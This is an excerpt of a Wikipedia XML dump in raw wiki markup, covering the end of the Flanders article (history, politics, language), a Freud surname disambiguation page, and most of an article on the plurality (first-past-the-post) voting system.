Independently from the provinces, Flanders has its own local institutions in the [[Brussels-Capital region]], being the ''Vlaamse GemeenschapsCommissie'' (VGC), and its municipal antennae (''Gemeenschapscentra'', community centers for the Flemish community in Brussels). These institutions are independent from the educational, cultural and social institutions which depend directly on the Flemish government. They exert, among others, all those cultural competencies that outside Brussels fall under the provinces.

&lt;!-- Image with unknown copyright status removed: [[Image:Toren met huisje Lissewege.jpg|thumb|left|200px|The village of Lissewege, near [[Bruges]] (Brugge)]] --&gt;

===Political Flanders (in Belgium)===
''Main article: [[Politics of Flanders]]''

Many new political parties during the last half century were founded in Flanders and most often in Antwerp: [[Daensism]], progressive Christian-Democrats; [[Frontpartij]] &amp; [[Volksunie]] (now [[NVA]]), moderate nationalism; [[Green!]], alternative/Green; [[Vlaams Blok]] ([[Vlaams Belang]]): far-right nationalism; and [[ROSSEM]], a short-lived anarchistic spark).

===Flemish nation===
A more controversial designation for Flanders is those parts of Belgium where Dutch is (or was) spoken. This is the root of many communautary quibbles in Belgium. This designation finds its root in the [[romantic nationalism]] of the [[19th century]] but later got a more pejorative meaning, which is now overcome. For some, Flanders is more than just a geographical area ([[Flemish Region]]) or a federal institution ([[Flemish Community]]). Some even call it a nation: a people of over 6 million living in the Flemish Region and in the [[Brussels-Capital Region]], where they form a minority. [[Flemings]] share a lot of political, cultural, scientific, social and educational views. Although many Flemings identify themselves more with Flanders than with Belgium; the Belgian legislator provides a federal Belgian-scale organisation for all questions that require a nationwide solution.

==Flanders in France==
''See: [[Nord]] and [[Nord-Pas de Calais]]''

==Flanders in The Netherlands==
''See: [[Zeeuws-Vlaanderen]]''

[[Image:IMAGE0075.JPG.JPG|thumb|right|200px|Landscape of Bachten de Kupe, in [[Western Flanders]]]]

==History==
''See also: [[History of Belgium]]''

===Historical Flanders: County of Flanders===
{{main|County of Flanders}}

Created in the year [[862]], the County of Flanders was divided when its western districts fell under French rule in the late 12th century. The remaining parts of Flanders came under the rule of the counts of neighbouring [[Hainaut]] in [[1191]]. The entire area passed in [[1384]] to the dukes of [[Burgundy]], in [[1477]] to the [[Habsburg]] dynasty, and in [[1556]] to the kings of [[Spain]]. The western districts of Flanders came finally under French rule under successive treaties of [[1659]] (Artois), [[1668]], and [[1678]].

During the late [[Middle Ages]] Flanders' trading towns (notably [[Ghent]] and [[Bruges]]) made it one of the most urbanised parts of Europe, weaving the [[wool]] of neighbouring lands into cloth for both domestic use and export.

Increasingly powerful from the [[12th century]], the territory's autonomous urban [[Medieval commune|communes]] were instrumental in defeating a French attempt at annexation ([[1300]]-[[1302]]), finally defeating the French in the [[Battle of the Golden Spurs]] ([[July 11]], [[1302]]), near [[Kortrijk]]. Two years later, the uprising was defeated and Flanders remained part of the French Crown. Flemish prosperity waned in the following century, however, owing to widespread European population decline following the [[Black Death]] of [[1348]], the disruption of trade during the Anglo-French [[Hundred Years' War]] ([[1338]]-[[1453]]), and increased [[England|English]] cloth production. Flemish weavers had gone over to [[Worstead]] and [[North Walsham]] in [[Norfolk, England|Norfolk]] in the 12th century and established the woollen industry.

===Flanders--as it is now known--in the Low Countries===
{{Main | Low Countries}}

====The Reformation====
[[Martin Luther]]'s [[95 Theses]], published in [[1517]], had a profound effect on the Low Countries. Among the wealthy traders of [[Antwerp]], the [[Lutheranism|Lutheran]] beliefs of the [[Germany|German]] [[Hanseatic]] traders found appeal, perhaps partly for economic reasons [http://home.versateladsl.be/vt607832/hagepreek.htm#hagepreken in Dutch]. The spread of Protestantism in this city was aided by the presence of an [[Augustinian]] cloister (founded [[1514]]) in the St. Andries quarter.  Luther, an Augustinian himself, had taught some of the monks, and his works were in print by [[1518]]. [[Charles V, Holy Roman Emperor|Charles V]] ordered the closing of this cloister around 1525. The first Lutheran martyrs came from Antwerp. The [[reformation]] resulted in consecutive but overlapping waves of reform: a Lutheran, followed by a militant [[Anabaptist]], then a [[Mennonite]], and finally a [[Calvinism|Calvinistic]] movement. These movements existed independently of each other.

The [[Pragmatic Sanction]] of [[1549]], issued by Charles V, established the Low Countries as the [[Seventeen Provinces]] (or [[Spanish Netherlands]] in its broad sense) as an entity separate from the [[Holy Roman Empire]] and from France.

The schism between the southern [[Roman Catholic Church|Roman Catholics]] and northern Calvinists resulted in the [[Union of Atrecht]] and the [[Union of Utrecht]], respectively.

It was the [[iconoclasm]] of [[1566]] (the ''Beeldenstorm'') &amp;ndash; the demolition of statues and paintings depicting saints &amp;ndash; that led to religious war between Catholics and Protestants. The ''Beeldenstorm'' started in what is now [[French Flanders]] with open-air sermons (''hagepreken'') [http://www.mdsk.net/jicono_nl.html in Dutch]. The first took place on the ''Cloostervelt'' near [[Hondschoote]]. The first large sermon was held near [[Boeschepe]] on [[July 12]], [[1562]]. These open-air sermons, mostly of Anabaptist or Mennonite signature, spread through the country. On August 10, [[1566]] at the end of the [[pilgrimage]] from Hondschoote to [[Steenvoorde]], the chapel of the ''Sint-Laurensklooster'' (Cloister of [[Saint Lawrence]]) was defaced by Protestants. The iconoclasm resulted not only in the destruction of Catholic art, but also cost the lives of many priests.  It next spread to Antwerp, and on August 22, to Ghent. One cathedral, eight churches, twenty-five cloisters, ten hospitals and seven chapels were attacked. From there, it further spread east and north, but in total lasted not even a month.

Charles' son, King [[Philip II of Spain]], a devout Catholic and self-proclaimed protector of the [[Counter-Reformation]] who was also the duke or earl of each of the Seventeen Provinces, started to crack down on the rising Calvinists in Flanders, [[Brabant]] and [[Holland]]. What is now approximately [[Belgian Limburg]] was part of the [[Bishopric of Liège]] and was catholic ''de facto''. Part of what is now [[Dutch Limburg]] supported the Union of Atrecht, but did not sign it.

====The Eighty Years' War and its consequences====
In [[1568]] the Seventeen that signed the Union of Utrecht started a (counter)rebellion against Philip II: the [[Eighty Years' War]]. Before the Low Countries could be completely reconquered, war between [[England]] and [[Spain]] broke out, forcing the Spanish troops under Philips II to halt their advances. Meanwhile, Philips' Spanish troops had conquered the important trading cities of Bruges and Ghent. Antwerp, which was then arguably the most important port in the world had to be conquered. On August 17, [[1585]], Antwerp fell. This ended the Eighty Years' War for the (from now on) [[Southern Netherlands]]. The [[Dutch Republic|United Provinces]] (the Netherlands proper) fought on until [[1648]] &amp;ndash; the [[Peace of Westphalia]]. The definite loss of the southern Low Countries caused the rich Calvinist merchants of these cities to flee to the north. Many migrated to [[Amsterdam]], which was at the time a tiny port, but was quickly transformed into one of the most important ports in the world in the 17th century. The exodus can be described as 'creating a new Antwerp'.

This mass immigration from Flanders and Brabant (especially Antwerp) was an important driving force behind the [[Dutch Golden Age]]. While Spain was at war with England, the rebels from the north, strengthened by refugees from the south, started a campaign to reclaim areas lost to Philips II's Spanish troops. They managed to conquer a considerable part of Brabant (the later [[Noord-Brabant]] of the Netherlands), and the south bank of the Scheldt estuary ([[Zeeuws-Vlaanderen]]), before being stopped by Spanish troops. The frontline at the end of this war stabilized and became the current border between present-day Belgium and the Netherlands. The Dutch (as they later became known) had managed to reclaim enough of Spanish king-controlled Flanders to close of the river the [[Scheldt]], effectively closing Antwerp off from a significant trade route. Due to these events, Flanders and Brabant went into a relative decline in the 17th century. From the view of the sophisticated northerners and the present benefit of hindsight, it became a country of peasants and simple but happy folk. The potential to reclaim their wealth and prominent world position remained possible until just recently. Today Flanders is one of the most productive and wealthiest regions of the world.

Although arts remained at an relatively impressive level for another century with [[Peter Paul Rubens]] (1577-1640), Flanders experienced a loss of its former economic and intellectual power under Spanish, Austrian, and French rule, with heavy [[taxation]] and rigid imperial political control compounding the effects of industrial stagnation and Spanish-Dutch and Franco-Austrian conflict.

====1581-1815: The Southern Netherlands====
Conquered by [[French Revolution|revolutionary France]] in [[1794]] and annexed the following year as the ''[[The 130 départements|départements]]'' of [[Lys (département)|Lys]], [[Escaut (département)|Escaut]], [[Deux-Nèthes]], [[Meuse-Inférieure]] and [[Dyle (département)|Dyle]].
The people rose against the French in [[1798]], the ''Boerenkrijg'', with the heaviest fights in the [[Campine]] area. The main reason for this uprising was the forced army service for all men aged 16-25.

{{sectstub}}

====1815-1830: United Kingdom of the Netherlands====
After the defeat of [[Napoleon I of France|Napoleon Bonaparte]] at the [[1815]] [[Battle of Waterloo]] in Waterloo, Brabant, sovereignty over the [[Austrian Netherlands]] &amp;ndash; Belgium minus the [[East Cantons]] and [[Luxembourg]] &amp;ndash; was given by the [[Congress of Vienna]] ([[1815]]) to the [[Kingdom of Holland]], a French [[Puppet state|puppet kingdom]] that succeeded the United Provinces. The [[United Kingdom of the Netherlands]] was born. The Protestant King of the Netherlands, [[William I of the Netherlands|William I]] succeeded in rapidly starting the industrialisation of the Southern Netherlands, but failed to maintain good relations with the larger and rebellious [[Roman Catholic Church|Roman Catholic]] provinces. The Belgian [[bourgeoisie]] was not only Catholic, as opposed to the Protestant north, but they also spoke French, instead of Dutch. Resentment grew both among Catholics and among the powerful liberal bourgeoisie. It became a part of the Kingdom of Belgium in [[1831]] following the [[Belgian Revolution]] of the previous year.

===Kingdom of Belgium===
In [[1830]], the [[Belgian Revolution]] led to the splitting up of the two countries. Belgium was confirmed as an independent state by the [[Treaty of London, 1839|Treaty of London]] of [[1839]], but deprived of the eastern half of Limburg (now Dutch Limburg), and the Eastern half of Luxembourg (now the Grand-Duchy of Luxembourg) . Sovereignty over Zeeuws Vlaanderen, south of the Westerscheldt river delta, was left with the [[Kingdom of the Netherlands]], who was allowed to levy a toll on all traffic to the Antwerp harbour until [[1863]].

====Rise of the Flemish Movement====
See [[Flemish movement]]
{{sectstub}}

====World War I and its consequences====
Flanders (and Belgium as a whole) saw some of the greatest losses of life of the [[World War I|First World War]] including the battles of [[Ypres]] and [[Battle of the Somme (1916)|the Somme]]. Due to the hundreds of thousands of casualties, the [[poppy|poppies]] that sprang up from the [[battlefield]] and that were immortalised in the [[poem]] [[In Flanders Fields]], have become an emblem of human life lost in war. It is perfectly normal for poppies to invade disturbed arable ground. More important for the course of [[history]] is the resentment some felt of being used as [[cannon fodder]], as a whole nation, and not as single soldiers.

Flemish feeling of identity and consciousness grew through the events and experiences of war. The German occupying authorities had taken several Flemish-friendly measures. More importantly the experiences of many Flemish speaking soldiers on the front lead by French speaking officers catalysed Flemish emancipation. Their suffering is still remembered by Flemish organizations during the yearly [[Ijzerbedevaart|Yser pilgrimage]] and [[Ijzerwake|Wake of the Yser]] in [[Diksmuide]] at the monument of [[Ijzertoren|The Yser tower]].

====Right-Wing Nationalism in the interbellum and World War II====
See [[VNV]], [[Verdinaso]], [[Dietsland]],  [[Cyriel Verschaeve]]
{{sectstub}}

====Communautary quibbles and the Egmont pact====
See [[Egmont pact]], [[Vlaams Blok]], [[Voeren]], [[José Happart]], [[Brussel-Halle-Vilvoorde]]
{{sectstub}}

==The community: Flemish language and culture==
The standard language used in Flanders is the same as in [[the Netherlands]], ''i.e.'', [[Dutch language|Dutch]]. The Dutch dialects spoken in Belgium are often referred together as ''[[Flemish dialects|Flemish]]''.  However, using ''Flemish'' to refer to a specific dialectic language may be confusing as there are many different Flemish dialects that are sometimes mutually incomprehensible.

At first sight, ''Flemish culture'' is defined by its [[language]] and its gourmandic mentality. Some claim  [[Flemish Literature|Flemish literature]] does not exist, because it is said to be 'readable' by both the Dutchmen as well as Flemings, but this is a fallacy. A distinct Flemish literature already began in the 19th century, with writers and poets as [[Guido Gezelle]], whom not only explicitly referred to his writings as Flemish, but actually used it in many of his poems, and strongly defended it:

&quot;Gij zegt dat ‘t vlaamsch te niet zal gaan:&lt;br&gt;
‘t en zal!&lt;br&gt;
dat ‘t waalsch gezwets zal boven slaan:&lt;br&gt;
‘t en zal!&lt;br&gt;
Dat hopen, dat begeren wij:&lt;br&gt;
dat zeggen en dat zweren wij:&lt;br&gt;
zoo lange als wij ons weren, wij:&lt;br&gt;
‘t en zal, ‘t en zal,&lt;br&gt;
‘t en zal!&quot;&lt;br&gt;

(&quot;You say Flemish will disappear:&lt;br&gt;
It will not!&lt;br&gt;
that Walloonish rantings will prevail:&lt;br&gt;
It will not!&lt;br&gt;
This we hope, this we crave:&lt;br&gt;
this we say and this we swear:&lt;br&gt;
as long as we defend ourselves, we:&lt;br&gt;
It will not, It will not,&lt;br&gt;
It will not!&quot;) &lt;br&gt;


This distinction in literature is also made by experts, such as Kris Humbeeck, professor in Literature of the University of Antwerp, as can be noted [http://www.abc2004.be/login/components/public/main.php?action=getStatenItem&amp;id=4&amp;lang=1 here].

Some other famous writers representative of Flemish culture are [[Ernest Claes]], [[Stijn Streuvels]], and [[Felix Timmermans]].

==See also==
*[[Flemings]]
*[[Flemish Region]]
*[[Flemish Community]]
*[[Flemish Parliament]]
*[[List of Minister-Presidents of Flanders]]
*[[Count of Flanders]]
*[[VRT]], the Flemish publicly-funded broadcaster
*[[Flemish Primitives]]

== External links ==

* [http://www.flanders.be Flemish authorities] (Dutch: ''Vlaamse overheid''), in English
* [http://www.vlaanderen.be Flemish authorities] (Dutch: ''Vlaamse overheid''), in Dutch
* [http://www.vlaamsparlement.be/ Flemish Parliament] (Dutch: ''Vlaams Parlement'')
* [http://www.vlaanderen.be/regering/ Flemish government] (Dutch: ''Vlaamse regering'')
* [http://www.vgc.be/ Flemish Community Council in Brussels] (Dutch: ''Vlaamse Gemeenschapscommissie (VGC)'')
* [http://www.vrt.be/ Public radio &amp; television] (Dutch: ''Vlaamse radio en Televisie'')
* [http://www.flandersonline.org/en/flanders.php Flanders on line] (information in English, French, German and Dutch)
* [http://www2.vlaanderen.be/ned/sites/dagvlaanderen/index.html Dag Vlaanderen]
* [http://www.toerismevlaanderen.be Toerisme Vlaanderen]
* [http://www.nordmag.com/nord_pas_de_calais/flandre/flandre.htm French Flanders] (only available in French)
* [http://roepstem.tripod.com/vlaanderen.html Frans-Vlaanderen (Dutch)]
* [http://aps.vlaanderen.be/statistiek/nieuws/demografie/2003-11_aantal.htm Flanders reaches 6 million inhabitants (Dutch)]

{{Belgium}}

[[Category:Flanders|*]]

[[af:Vlaandere]]
[[ca:Flandes]]
[[da:Flandern]]
[[de:Flandern]]
[[el:Φλάνδρα]]
[[es:Flandes]]
[[eo:Flandrio]]
[[fr:Flandre]]
[[gl:Flandes]]
[[ko:플란데런]]
[[hr:Flandrija]]
[[it:Fiandre]]
[[he:פלנדריה]]
[[li:Vlaandere (gewes)]]
[[nl:Vlaanderen]]
[[ja:フランドル]]
[[no:Flandern]]
[[oc:Flandra]]
[[pl:Flandria]]
[[pt:Flandres]]
[[ro:Flandra]]
[[ru:Фландрия]]
[[sv:Flandern]]
[[uk:Фландрія]]</text>
    </revision>
  </page>
  <page>
    <title>Freud (disambiguation)</title>
    <id>10879</id>
    <revision>
      <id>39636296</id>
      <timestamp>2006-02-14T21:11:24Z</timestamp>
      <contributor>
        <username>Slowmover</username>
        <id>777454</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">'''Freud''' is the surname of a number of people:
{{TOCright}}

==The Sigmund Freud family==
* [[Sigmund Freud]] (1856–1939), the inventor of [[psychoanalysis]], psychosexual stages, and personality theory of Ego, Superego and Id
* [[Anna Freud]], daughter of Sigmund Freud, famous for contributions to child psychology and developmental psychology
* [[Lucien Freud]], grandson of Sigmund Freud, painter
* [[Clement Freud]], grandson of Sigmund Freud, comedian and writer
* [[Emma Freud]], great grand-daughter of Sigmund Freud, journalist
* [[Bella Freud]], great grand-daughter of Sigmund Freud, fashion designer
* [[Matthew Freud]], great grand-son of Sigmund Freud, publicist

==Other meanings==
* ''[[Freud (film)|Freud]]'' is a [[1962 in film|1962]] film about the life of [[Sigmund Freud]], starring [[Montgomery Clift]] and directed by [[John Huston]].
* '''F.R.E.U.D''', a new age musical group

==See also==
*[[Freudian slip]]

[[Category:Surnames]]
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Plurality voting system</title>
    <id>10880</id>
    <revision>
      <id>41308019</id>
      <timestamp>2006-02-26T12:42:22Z</timestamp>
      <contributor>
        <username>Mikereichold</username>
        <id>566926</id>
      </contributor>
      <comment>rv haha</comment>
      <text xml:space="preserve">[[Image:Plurality ballot.svg|thumb|right|An example of a plurality ballot.]]
The '''plurality voting system''' (also known as '''first past the post''') is a [[voting system]] used to elect a single winner in a given [[election]].  In [[political science]], the use of the plurality voting system alongside multiple, single-winner [[constituency|constituencies]] to elect a multi-member body is often referred to as '''single-member district plurality''' or '''SMDP'''.  Plurality voting is also variously referred to as '''winner-take-all''' or '''relative majority''' voting; however, these terms can also refer to elections for multiple winners in a particular constituency using [[bloc voting]].  

The term ''first past the post'' (abbreviated '''FPTP''' or '''FPP''') was coined as an [[analogy]] to [[horse racing]], where the winner of the race is the first to pass a particular point on the track (in this case a [[plurality]] of [[Voting|votes]]), after which all other runners automatically and completely lose (that is, the payoff is &quot;winner-take-all&quot;).  There is, however, no &quot;post&quot; that the winning candidate must pass in order to win, as they are only required to receive the largest number of votes in their favor. This sometimes results in the alternate name &quot;furthest past the post&quot;. 

&lt;!-- More on usage needed. --&gt; 
Plurality voting is used in 43 of the 191 countries in the [[United Nations]] for either local or national elections.  In particular, plurality voting is particularly prevalent in the United Kingdom and former British colonies, including the United States and Canada. {{ref|brit}} 

==Voting==
In single winner plurality voting, each voter is allowed to vote for one candidate, and the winner of the election is whichever candidate represents a [[plurality]] of voters, that is, whoever received the largest number of votes.  This makes the plurality voting system among the simplest of all voting systems.  &lt;!-- contrast with [[bloc voting]] and [[single non-transferable vote]] and [[cumulative voting]] here --&gt;

In an election for a legislative body, each voter in a given geographically-defined [[Constituency|electoral district]] votes for one candidate from a list of candidates competing to represent that district.  Under the plurality system, the winner of the election acts as representative of the entire electoral district, and serves with representatives of other electoral districts.

In an election for a single seat, such as [[president]] in a [[presidential system]], the same style of ballot is used and the candidate who receives the largest number of votes represents the entire population. 

===Ballot types===
Generally, plurality ballots can be categorized into two forms. The simplest form is a blank ballot where the name of a candidate is written in by hand. A more structured ballot will list all the candidates and allow a mark to be made by a single candidate, however a structured ballot can also include space for a [[write-in candidate]] as well. 

Plurality voting is based on minimal information- a person's vote can be entirely represented by a binary choice, so  anything can be used to signify a vote- the ancient [[Greeks]] would vote on [[Ostracism|ostracizing]] someone with pebbles.  Votes cast as physical objects can also create a realistic display of the election results, such as an array of candidates with jars filled with differently colored beans, with the winner being the most-filled.

===Examples of plurality voting===
====Simple example====
For an example, consider the election for the president of a school class. Each class has a president, who sits on a school council. Further assume that, in this imaginary school, male and female students disagree with each other on most issues, and students prefer to vote for others of the same sex as themselves.

In this example, the class members (the &quot;electors&quot;) only vote once, and their votes help to choose both a class president and a member of the school council (the same person).

In our hypothetical election, there are three candidates: Amy, Brian and Chloe. Each class member gets a ballot, with these three names on it. Each voter must put a mark by one of the names on their ballot. After the election finishes, the papers are sorted into three piles&amp;mdash;one for votes for Amy, one for votes for Brian, and one for votes for Chloe.

The largest pile decides the winner. If Amy's pile has 11 votes, Brian's has 16, and Chloe's has 13, Brian would win, even though he only won 40% of the total votes.

====More complex example====
{{Tenn voting example}}

If voting follows sincere preferences, Memphis is selected with the most votes.  Note that this system does not require that the winner have a [[Simple majority|majority]], but only a [[plurality]]. That is, Memphis wins because it has the most votes, even though more than half of the voters preferred another option and preferred Memphis least.

==Advantages==
===Simplicity===
Plurality may well be the simplest of all voting systems. This implies specific advantages. It is likely to be quicker, and easier to administer; this may also imply that an election costs less to run. It may also have an effect on voters, because it is easy to explain and understand. Alternative voting systems may alienate some voters who find the systems hard to understand, and who therefore feel detached from the direct effect of their own vote.

In addition, not all voters see party politics or policies as a major issue. Some voters see an election primarily as a form of recruitment for an individual representative, a point of contact between the state and themselves. FPTP gives such voters a direct choice of single candidate, with no extra votes to be shared or balanced between parties. This may be especially important to voters who want to vote for individuals based on particular ethical frameworks that are not party aligned, and who do not want their vote to have a &quot;side effect&quot; of electing others they may not approve of.

===Each representative must be a winner===
Sometimes, the voters are in favor of a political party, but do not like specific candidates. An example was the premier of [[Alberta]], [[Don Getty]]. His government was re-elected in 1989, but because of voter dissatisfaction with the way the government was led, Getty, the leader of the [[Alberta Progressive Conservatives|Alberta Progressive Conservative Party]], was not re-elected by voters from his electoral district.

However this can also have the opposite effect. A candidate who is very popular among the electorate in general may lose if the candidate or the candidate's party is unpopular or has caused dissatisfaction in his or her seat. An example was how [[Winston Churchill]] lost the 1945 UK Parliamentary elections. Churchill had over a 90% approval rating, but the [[Labour Party (UK)|Labour Party]] won overall defeating Churchill's [[Conservative Party (UK)|Conservative Party]] and making [[Clement Attlee]] the Prime Minister.

Similarly, in the 1999 [[Ontario]] provincial election, [[Mike Harris]] and his [[Progressive Conservative Party of Ontario|Progressive Conservative]] party was re-elected to a majority government, but symbolic of the growing discontent among voters about cuts to education, his education minister and strong ally was resoundingly defeated by the opposition candidate.

It is often claimed that because each electoral district votes for its own representative, the elected candidate is held accountable to his own voters, thereby helping to prevent incompetent, fraudulent or corrupt behavior by elected candidates. The voters in the electoral district can easily replace him since they have full power over who they want to represent them.  In the absence of effective recall legislation, however, the electors must wait until the end of the representative's term. Moreover, it is possible for a winning candidate or government to increase support from one election to the next, but lose the election, or vice-versa. Also, it is generally possible for candidates to be elected if the party regards them as important even if they are fairly unpopular, by moving the candidate to a safe seat which the party is unlikely to lose or by getting a candidate in a safe seat to step down.

===Preservation of One Person One Vote principle===
The arguments for a plurality voting system rely heavily on the preservation of the [[OMOV | one person one vote principle (OMOV)]], as cited by the [[Supreme Court of the United States]], wherein each voter is only able to cast one vote in a given election, where that vote can only go to one candidate.  Plurality voting systems elect the candidate who is preferred first by the largest number of voters.  Other voting systems, such as [[Instant-runoff voting]] or [[Single Transferable Vote]] also preserve [[OMOV]], but rely on lower voter preference to arrive at a candidate earning either [[absolute majority]] or [[Droop Quota|droop quota]], respectively.

===Regionalism===
FPTP also encourages regional parties which can be very popular in one geographical region but have little or no support in other parts of the electorate.  

A good example of this is Canada, where, in 1993, the separatist [[Bloc Québécois]] formed the opposition, despite getting only 13% of the vote.
{{sect-stub}}

==Disadvantages==
===Tactical voting===
To a much greater extent than many other electoral methods, plurality electoral systems encourage [[tactical voting]] techniques, like &quot;compromising&quot;.  Voters are pressured to vote for one of the two candidates they predict are most likely to win, even if their true  preference is neither, because a vote for any other candidate will be likely to be wasted and have no impact on the final result.  

In the example above, Chloe's voters would have done much better to have voted for Amy instead of Chloe; that way, Amy would have beaten Brian by 8 votes. They would not have gotten their most desirable person elected, but rather their second choice; in this case plurality voting led to the paradoxical result that attempting to get their 1st most desired person elected led to their 3rd most desired person being elected instead.  Likewise, in the Tennessee example, if all the voters for Chattanooga and Knoxville had instead voted for Nashville, then Nashville would have won (with 58% of the vote); this would only have been the 3rd choice for those voters, but voting for their respective 1st choices (their own cities) actually results in their 4th choice (Memphis) being elected.

The difficulty is sometimes summed up, in an extreme form, as &quot;All votes for anyone other than the second place are votes for the winner&quot;, because by voting for other candidates, they have denied those votes to the second place candidate who could have won had they received them. It is often claimed by [[United States]] [[Democratic Party (United States)|Democrats]] that the liberal [[Al Gore]] lost the [[U.S. presidential election, 2000|2000 Presidential Election]] to the conservative [[George W. Bush]] because some voters on the far left voted for [[Ralph Nader]] of the [[Green Party (United States)|Green Party]], who presumably would have preferred Gore to Bush.

Such a mentality is reflected by elections in [[Puerto Rico]] and its three principal voter groups: the [[Puerto Rican Independence Party|Independentistas]] (pro-independence), the [[Popular Democratic Party of Puerto Rico|Populares]] (pro-commonwealth), and the [[New Progressive Party of Puerto Rico|Estadistas]] (pro-statehood). Historically, there has been a tendency for Independentista voters to elect Popular candidates and policies. This phenomenon is responsible for some Popular victories, even though the Estadistas have the most voters on the island. It is so widely recognized that the Puertoricans sometimes call the Independentistas who vote for the Populares &quot;melons&quot;, because the fruit is green on the outside but red on the inside (in reference to the party colors).

Because voters have to predict in advance who the top two candidates will be, this can cause significant perturbation to the system:

*Substantial power is given to the media.  Some voters will tend to believe the media's assertions as to who the leading contenders are likely to be in the election.  Even voters who distrust the media will know that other voters ''do'' believe the media, and therefore those candidates who receive the most media attention will nonetheless be the most popular and thus most likely to be in one of the top two.

*A newly appointed candidate, who is in fact supported by the majority of voters, may be considered (due to the lack of a track record) to not be likely to become one of the top two candidates; thus, they will receive a reduced number of votes, which will then give them a reputation as a low poller in future elections, compounding the problem.

*The system may promote votes ''against'' more so than votes ''for''.  In the UK, entire campaigns have been organized with the aim of voting ''against'' the Labour party by voting for either Conservative or Liberal Democrats based on which is most popular in each constituency, regardless of the voters' opinions of the policies of these parties.

*If enough voters use this tactic, the first-past-the-post system becomes, effectively, [[runoff voting]] - a completely different system - where the first round is held in the court of public opinion.  

One often-overlooked flaw in the FPTP system is that invariably, voters can select only one candidate in a single-member district, whilst in multi-member districts they can never select more candidates than the number of seats in the district.  Some argue that FPTP would work better if electors could cast votes for as many candidates as they wish.  This would allow voters to &quot;vote against&quot; a certain despised candidate if they choose, without being forced to guess who they should vote for to defeat that candidate, thus eliminating the need for tactical voting.  Such a system would also serve to reduce the [[spoiler effect]].

===Effect on representation===
[[Image:Charter88 Results 2005 UK Election.jpg|thumb|right|250px|Created by an organization promoting [[proportional representation]], this campaign postcard illustrates that [[Labour Party (UK)|Labour]] obtained a majority in Parliament despite winning only 35.2% of the national vote in the [[United Kingdom general election, 2005|2005 election]].]]

The most commonly expressed disadvantage — perhaps because it is easiest to express and explain — of first-past-the-post is that it frequently produces disproportional results, i.e. results in which a party's share of the seats does not match up with its share of the votes.  Thus, substantial bodies of opinion can be rendered irrelevant to the final outcome, and a party can obtain a majority of seats without a majority of the vote.  Examples include the recent [[United Kingdom general election, 2005|United Kingdom general election of 2005]] where the new government won a majority of the seats with less than 36% of the national vote.  The disproportionate nature of this system also means that whole regions may have MPs from only one party.  The British [[Conservative Party (UK)|Conservatives]] won large majorities of seats in the [[1980s]] on a minority of votes while almost all the Scottish seats were [[Labour Party (UK)|Labour]], [[Liberal Party (UK)|Liberal]] or [[Scottish National Party|SNP]]; this disparity created tremendous dissatisfaction in [[Scotland]].

A further example of disproportionality arose in the [[Canadian federal election, 1926|Canadian federal election of 1926]] for the province of Manitoba.  The province was entitled to 17 seats in that election. The result was very different from how people voted.

{| {{prettytable}}
|- style=&quot;vertical-align: top;&quot;
! scope=&quot;col&quot; colspan=&quot;2&quot; style=&quot;text-align: left;&quot; | Political party
! scope=&quot;col&quot; | % votes
! scope=&quot;col&quot; | Number&lt;br&gt;of seats
! scope=&quot;col&quot; | % seats
{{Canadian politics/party colours/Progressive Conservatives/row}}
! scope=&quot;row&quot; style=&quot;text-align: left;&quot; | [[Conservative Party of Canada (historical)|Conservative]]
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 42.2%
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 0
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 0%
{{Canadian politics/party colours/Liberal-Progressive/row}}
! scope=&quot;row&quot; style=&quot;text-align: left;&quot; | [[Liberal-Progressive]]
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 19.5%
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 7
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 41%
{{Canadian politics/party colours/Liberal/row}}
! scope=&quot;row&quot; style=&quot;text-align: left;&quot; | [[Liberal Party of Canada|Liberal]]
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 18.4%
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 4
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 24%
{{Canadian politics/party colours/Progressive/row}}
! scope=&quot;row&quot; style=&quot;text-align: left;&quot; | [[Progressive Party of Canada|Progressive]]
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 11.2%
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 4
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 24%
{{Canadian politics/party colours/Labour/row}}
! scope=&quot;row&quot; style=&quot;text-align: left;&quot; | [[Labour Party of Canada|Labour]]
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 8.7%
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 2
| style=&quot;text-align: right; padding-right: 0.5em;&quot; | 12%
|}

The Conservatives clearly had the largest number of votes across the province, but received no seats at all.  

The usual cause for these disproportionate results is that a party has a large number of votes across the entire territory, but they are spread out across the territory rather than being concentrated in particular constituencies.  Parties with less overall support, but where that support is concentrated in particular constituencies, will win plurality in those constituencies over a party with widely distributed support.  

This presents a problem because it encourages parties to focus narrowly on the needs and well-being of specific electoral districts where they can be sure to win seats, rather than be sensitive to the sentiments of voters everywhere.  A further problem is that the party in power often has the ability to determine where the boundaries of constituencies lie: to secure election results, they may use [[gerrymandering]] — that is, [[redistricting]] to distort election results by enclosing party voters together in one electoral district. Moreover, it can be demonstrated that even the use of non-partisan districting methods - such as computers - to determine constituency boundaries tends to produce results very similar to those produced by a majority party with the power to draw the boundaries in its favour. Also, there are cases where there may be no possible way of drawing continguous boundaries that will allow a minority representation.

It often seems fundamentally unfair that a party should have a substantially greater or lesser share of seats than their share of the vote.  A further consequence of the system is that many such elections can be considered won before all votes are tallied, once there are no longer enough uncounted votes to override an established plurality count. Though not necessarily a disadvantage, this can produce a feeling of disenfranchisement among voters when running tallies are reported through the media.

This argument applies to most other [[Voting system#Single-winner systems|single-winner voting systems]].

It also tends to magnify the winning party's victory — that is the winning party tends to get a larger percentage of the seats than of the popular vote, as estimated by the [[cube rule]].

===Effect on political parties===
[[Duverger's law]] is a principle of [[political science]] which predicts that constituencies that use first-past-the-post systems will become [[two-party system]]s, given enough time.

First-past-the-post tends to reduce the number of political parties to a greater extent than most other methods, thus making it more likely that a single party will hold a majority of legislative seats. (In the [[United Kingdom]], 18 out of 22 General Elections since 1922 have produced a majority government.)

Some argue that this is an advantage, in that single party rule enables quicker decision-making with less need for back and forth negotiation.

